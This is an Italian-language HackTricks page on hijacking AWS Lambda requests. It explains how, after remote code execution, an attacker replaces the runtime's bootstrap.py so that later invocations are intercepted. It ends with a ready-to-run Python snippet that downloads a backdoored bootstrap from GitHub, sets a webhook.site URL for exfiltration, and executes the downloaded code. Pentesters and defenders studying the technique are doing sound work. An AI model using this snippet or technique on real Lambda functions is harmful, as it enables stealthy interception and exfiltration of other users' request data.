AWS - Steal Lambda Requests

Supporta HackTricks

Flusso Lambda

  1. Slicer è un processo esterno al contenitore che invia invocazioni al processo init.

  2. Il processo init ascolta sulla porta 9001 esponendo alcuni endpoint interessanti:

  • /2018-06-01/runtime/invocation/next – ottieni il prossimo evento di invocazione

  • /2018-06-01/runtime/invocation/{invoke-id}/response – restituisci la risposta del gestore per l'invocazione

  • /2018-06-01/runtime/invocation/{invoke-id}/error – restituisci un errore di esecuzione

  1. bootstrap.py ha un ciclo che ottiene invocazioni dal processo init e chiama il codice dell'utente per gestirle (/next).

  2. Infine, bootstrap.py invia a init la risposta

Nota che bootstrap carica il codice dell'utente come modulo, quindi qualsiasi esecuzione di codice eseguita dal codice dell'utente avviene effettivamente in questo processo.

Rubare le Richieste Lambda

L'obiettivo di questo attacco è far eseguire al codice dell'utente un processo bootstrap.py malevolo all'interno del processo bootstrap.py che gestisce la richiesta vulnerabile. In questo modo, il processo bootstrap malevolo inizierà a comunicare con il processo init per gestire le richieste mentre il bootstrap legittimo è intrappolato a eseguire quello malevolo, quindi non chiederà richieste al processo init.

Questo è un compito semplice da raggiungere poiché il codice dell'utente viene eseguito dal legittimo processo bootstrap.py. Quindi l'attaccante potrebbe:

  • Inviare un risultato falso dell'attuale invocazione al processo init, così init pensa che il processo bootstrap stia aspettando ulteriori invocazioni.

  • Deve essere inviata una richiesta a /${invoke-id}/response

  • L'invoke-id può essere ottenuto dallo stack del legittimo processo bootstrap.py utilizzando il modulo python inspect (come proposto qui) o semplicemente richiedendolo di nuovo a /2018-06-01/runtime/invocation/next (come proposto qui).

  • Eseguire un boostrap.py malevolo che gestirà le prossime invocazioni

  • Per motivi di furtività, è possibile inviare i parametri delle invocazioni lambda a un C2 controllato dall'attaccante e poi gestire le richieste come al solito.

  • Per questo attacco, è sufficiente ottenere il codice originale di bootstrap.py dal sistema o da github, aggiungere il codice malevolo ed eseguirlo dall'attuale invocazione lambda.

Passi dell'Attacco

  1. Trova una vulnerabilità RCE.

  2. Esegui il bootstrap malevolo.

Puoi facilmente eseguire queste azioni eseguendo:

python3 <<EOF
import os
import urllib3

# Download backdoored bootstrap
http = urllib3.PoolManager()
backdoored_bootstrap_url = "https://raw.githubusercontent.com/carlospolop/lambda_bootstrap_switcher/main/backdoored_bootstrap.py"
new_runtime = http.request('GET', backdoored_bootstrap_url).data

# Load new bootstrap
os.environ['URL_EXFIL'] = "https://webhook.site/c7036f43-ce42-442f-99a6-8ab21402a7c0"

exec(new_runtime)
EOF

Per ulteriori informazioni controlla https://github.com/carlospolop/lambda_bootstrap_switcher

Riferimenti

Supporta HackTricks

Last updated